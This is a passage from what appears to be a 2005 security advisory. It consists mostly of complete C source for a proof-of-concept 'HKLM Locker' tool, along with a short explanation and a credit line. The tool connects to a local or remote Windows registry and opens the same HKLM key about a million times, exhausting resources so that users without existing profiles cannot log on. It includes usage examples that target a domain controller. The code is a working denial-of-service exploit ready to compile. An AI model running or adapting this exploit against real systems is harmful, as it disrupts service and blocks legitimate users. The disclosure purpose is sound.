Locally, you are denying access to the users whose profiles are not yet created on particular machine, regardless of their privileges, because the profile cannot be created and request fails with "Insufficient resources" error.

Credit:
The information has been provided by Vladimir Kraljevic.

*/
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <tchar.h>

#define MAX_KEYS 1048576

void PrintLastErrorString(DWORD gla);

int _tmain(int argc, _TCHAR* argv[])
{
int i = 0;
int ixKey = 0;

_ftprintf(stdout,
_T("\n")
_T(".:. HKLM Locker POC Tool (C)2005 Vladimir Kraljevic .:.\n")
_T("\n")
_T("..:: Usage ::..\n")
_T(" HKLMLocker.exe [machine name or its IP address]\n")
_T("\n")
_T("..:: Examples ::..\n")
_T(" HKLMLocker.exe \\\\maindc.fabrikam.microsoft.com\n")
_T(" HKLMLocker.exe 10.0.0.1\n")
_T("\n")
_T(" - if machine name is not supplied it'll run on local machine\n")
_T(" - in the first step it locks specified target, then waits for enter\n")
_T(" - when you press enter, it will close the resources and free the target\n")
_T("\n\n")
);

HKEY hkMachine=HKEY_LOCAL_MACHINE;
if(argc == 2) {
HKEY hk=NULL;
SetLastError(NO_ERROR);
if(RegConnectRegistry(argv[1], HKEY_LOCAL_MACHINE,
&hk)==ERROR_SUCCESS) {
hkMachine=hk;
_ftprintf(stdout, _T("\nINFO: Using HKLM on machine %s\n"),
argv[1]);
} else {
_ftprintf(stderr, _T("\nERROR: Failed to open HKLM on machine %s\n"), argv[1]);
PrintLastErrorString(GetLastError());
return -1;
}
}
_fputts(_T("\n"), stdout);

HKEY* pkey;
if((pkey=(HKEY*)malloc(sizeof(HKEY)*MAX_KEYS))==NULL) {
_ftprintf(stderr, _T("\nERROR: Failed to alloc %u bytes\n"),
sizeof(HKEY)*MAX_KEYS);
goto L_end;
}

ixKey=0;
for(i=0; i < MAX_KEYS; i++) {
LONG result;
HKEY hk;

result=RegOpenKeyEx(hkMachine,
_T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"),
0,
KEY_READ,
&hk);
if(result==ERROR_SUCCESS) {
if(i%100==0)
_ftprintf(stdout, _T("\rOpening key % -16u"), i);
pkey[ixKey++]=hk;
} else {
PrintLastErrorString(GetLastError());
_ftprintf(stdout, _T("\nERROR: Error occured on key ordinal %u (thats OK for unpatched system :)"), i, ixKey);
break;
}
}

_fputts(_T("\nINPUT NEEDED: Waiting for a key to proceed to resource freeing\n"), stderr);
getch();
_fputts(_T("\n"), stdout);

for(i=0; i < ixKey; i++) {
if(i%100==0)
_ftprintf(stdout, _T("\rFreeing key % -16u"), i);
RegCloseKey(pkey[i]);
}
_ftprintf(stdout, _T("\rFreeing key % -16u\n"), ixKey);

free(pkey);

L_end:
if(hkMachine!=HKEY_LOCAL_MACHINE)
RegCloseKey(hkMachine);

_fputts(_T("\nINPUT NEEDED: Waiting for a key to exit\n"), stderr);
getch();

return 0;
}